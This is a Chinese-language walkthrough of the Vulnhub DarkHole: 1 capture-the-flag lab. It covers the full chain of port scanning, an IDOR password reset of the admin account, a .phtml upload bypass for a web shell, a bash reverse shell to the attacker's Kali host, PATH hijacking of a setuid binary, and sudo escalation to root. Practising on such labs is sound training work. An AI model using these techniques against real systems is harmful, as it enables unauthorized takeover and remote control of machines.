Vulnhub-DarkHole_1 题解

Vulnhub-DarkHole_1-Writeup

靶机地址:DARKHOLE: 1

Difficulty: Easy

扫描与发现

使用arp-scan发现目标IP

arp-scan -l

Vulnhub-DarkHole_1 题解

使用nmap扫描开放端口

nmap -sV -p- 192.168.164.193

Vulnhub-DarkHole_1 题解

目标探索

打开目标80端口发现没什么东西,查看源代码也没什么,只有一个登录连接

Vulnhub-DarkHole_1 题解

我们点进登录页面

Vulnhub-DarkHole_1 题解

想到可能是SQL注入,但是尝试之后没有结果。发现可以注册,输入用户名邮箱密码很容易可以注册成功,立马想到这里可能存在逻辑漏洞。登录之后是这样的

Vulnhub-DarkHole_1 题解

web shell

这里有更新数据功能,打开Burpsuite工具进行抓包,尝试修改admin用户的信息。设置用户名为admin,密码自己设置一个,比如123123,然后点击修改密码,抓包

Vulnhub-DarkHole_1 题解

数据包如下

Vulnhub-DarkHole_1 题解

这里应该是通过参数id值来修改对应用户密码的,我们将id值改为1,对应修改成admin密码,放出数据包提示密码修改成功,然后我们用admin账户登录,密码123123,登录成功,界面如下。

Vulnhub-DarkHole_1 题解

admin登录后多出来一个Upload功能,应该是利用文件上传拿到网站shell,经过探索后发现可以通过后缀.phtml绕过上传php脚本。可以上传一句话木马然后用蚁剑连接,获得虚拟终端

Vulnhub-DarkHole_1 题解

利用bash,反弹一个shell给kali

bash -c 'bash -i >& /dev/tcp/192.168.164.179/9999 0>&1'

Vulnhub-DarkHole_1 题解

用户shell

来到/home/john目录下发现有一个toto二进制文件执行id命令

Vulnhub-DarkHole_1 题解

发现uid为john,可以利用环境变量来切换得到john用户shell。在/tmp目录下

echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto

Vulnhub-DarkHole_1 题解

root权限

拿到john权限后查看password文件,发现内容为root123

Vulnhub-DarkHole_1 题解

尝试用该密码进行ssh连接,发现可以连上darkhole用户。利用sudo发现其可以升为root

Vulnhub-DarkHole_1 题解

直接利用sudo提权,拿到flag

Vulnhub-DarkHole_1 题解

上一篇:【VulnHub FALL】 任意文件读取


下一篇:Vulnhub之路Ⅰ——Lampiao(脏牛提权)